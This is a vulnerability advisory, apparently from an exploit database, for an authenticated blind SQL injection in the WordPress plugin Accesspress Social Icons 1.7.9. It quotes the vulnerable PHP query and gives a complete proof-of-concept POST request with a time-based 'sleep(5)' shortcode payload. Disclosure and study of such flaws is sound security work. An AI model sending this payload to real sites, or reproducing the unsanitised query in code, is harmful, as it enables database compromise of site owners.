Wordpress Theme Accesspress Social Icons 1.7.9 - SQL injection (Authenticated)

vendor:

Accesspress Social Icons

by:

Nguyen Khang

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: Accesspress Social Icons

Affected Version From: <= 1.7.9

Affected Version To: <= 1.7.9

Patch Exists: YES

Related CWE: N/A

CPE: 2.3:a:accesspressthemes:accesspress_social_icons:1.7.9

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu 18.04

2020

WordPress Theme Accesspress Social Icons 1.7.9 – SQL injection (Authenticated)

A blind SQL injection vulnerability is present in Ajax load more. An attacker can send a malicious POST request with a crafted payload to the vulnerable parameter 'id' in order to execute arbitrary SQL queries.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress Theme Accesspress Social Icons 1.7.9 - SQL injection (Authenticated)
# Exploit Author: SunCSR (Sun* Cyber Security Research) - Nguyen Khang
# Google Dork: N/A
# Date: 2020-08-24
# Vendor Homepage: https://accesspressthemes.com
# Software Link: https://wordpress.org/plugins/accesspress-social-icons/
# Version: <= 1.7.9
# Tested on: Ubuntu 18.04

Description:
A blind SQL injection vulnerability is present in Ajax load more.

<?php
$si_id = esc_attr($atts['id']);
global $wpdb;
$table_name = $table_name = $wpdb->prefix . "aps_social_icons";
$icon_sets = $wpdb->get_results("SELECT * FROM $table_name where si_id =
$si_id");

POC:
POST /wordpress/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F66&_locale=user
HTTP/1.1
Host: pwnme.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101
Firefox/79.0
Accept: application/json, */*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://pwnme.me/wordpress/wp-admin/post.php?post=66&action=edit
X-WP-Nonce: 514cd2ab3f
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://pwnme.me
Content-Length: 103
Connection: close
Cookie: wp-settings-time-2=1597912773;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_01c9c451f599e513a69d1e6bb6f8e273=author%7C1598405206%7Cwp7Nu56SQz9nIWmkqZr94WFIpGZ6VfcTT5KaYPUULWe%7C3c4c3a80cbfd049b95b04a6104ded9b05f33f8a9900ccec818d5aa43c7102c79;
wp-settings-time-3=1598234126

{"id":66,"content":"<!-- wp:shortcode -->\n[aps-social id=\"4 and
sleep(5)\"]\n<!-- /wp:shortcode -->"}